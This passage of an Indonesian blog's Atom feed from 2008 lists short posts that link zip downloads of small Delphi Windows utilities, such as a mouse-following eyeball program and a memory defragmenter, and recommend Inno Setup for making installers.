href='http://hendr13.blogspot.com/feeds/1712647191449604580/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=1712647191449604580' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/1712647191449604580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/1712647191449604580'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/dalam-kategori-ini-akan-diberikan.html' title='Game Delphi'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3831476734372550065</id><published>2008-04-19T10:41:00.002+07:00</published><updated>2008-05-24T15:26:06.688+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Bola Mata v 1.02</title><content type='html'>&lt;div align="justify"&gt;Program untuk menampilkan sepasang bola mata yang selalu melirik ke arah kursor mouse. Program ini ditujukan untuk sistem operasi Windows 9x. Berguna bagi Anda yang memiliki laptop (lebih mudah menentukan letak mouse). &lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://www.klik-kanan.com/delphi/os/mata.zip"&gt;download&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3831476734372550065?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3831476734372550065/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3831476734372550065' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3831476734372550065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3831476734372550065'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/bola-mata-v-102.html' title='Bola Mata v 1.02'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3845760843929832560</id><published>2008-04-19T10:40:00.001+07:00</published><updated>2008-05-24T15:27:34.361+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Fusion Folder Keeper</title><content type='html'>Fusion Folder Keeper adalah program yang dapat digunakan untuk mempercepat akses ke folder favorit Anda.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.klik-kanan.com/delphi/os/folder_keeper.zip"&gt;download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3845760843929832560?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3845760843929832560/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3845760843929832560' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3845760843929832560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3845760843929832560'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/fusion-folder-keeper.html' title='Fusion Folder Keeper'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-4641593780617013824</id><published>2008-04-19T10:38:00.001+07:00</published><updated>2008-05-24T15:28:18.379+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>AppLaunch</title><content type='html'>AppLaunch adalah program yang dapat digunakan untuk mempercepat akses ke program yang Anda inginkan.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.klik-kanan.com/delphi/os/hotkeys.zip"&gt;download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-4641593780617013824?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/4641593780617013824/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=4641593780617013824' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4641593780617013824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4641593780617013824'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/applaunch.html' title='AppLaunch'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-949597684372269294</id><published>2008-04-19T10:26:00.001+07:00</published><updated>2008-05-24T15:28:59.555+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Source defrag memory windows</title><content type='html'>Program untuk mendefragmen memori Windows (seperti MemTurbo atau RamBooster) dengan memanfaatkan fungi Windows VirtuallAlloc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.klik-kanan.com/delphi/os/memdef.zip"&gt;download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-949597684372269294?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/949597684372269294/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=949597684372269294' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/949597684372269294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/949597684372269294'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/source-defrag-memory-windows.html' title='Source defrag memory windows'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-2301750224821016130</id><published>2008-04-19T10:06:00.001+07:00</published><updated>2008-05-24T15:29:34.926+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Membuat file instalasi</title><content type='html'>&lt;div align="justify"&gt;Bagi temen-temen yang mau coba buat file instalasi, tapi yang ga ribet. download aj innosetup &lt;a href="http://www.jrsoftware.org/download.php/is.exe"&gt;disini&lt;/a&gt;. Setau aku sih softwre itu yang paling mudah buat digunain klo temen-temen mau buat file instalasi. Dijamin pasti lasngsung bisa dc..&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-2301750224821016130?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/2301750224821016130/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=2301750224821016130' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2301750224821016130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2301750224821016130'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/membuat-file-instalasi.html' title='Membuat file instalasi'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry></feed>
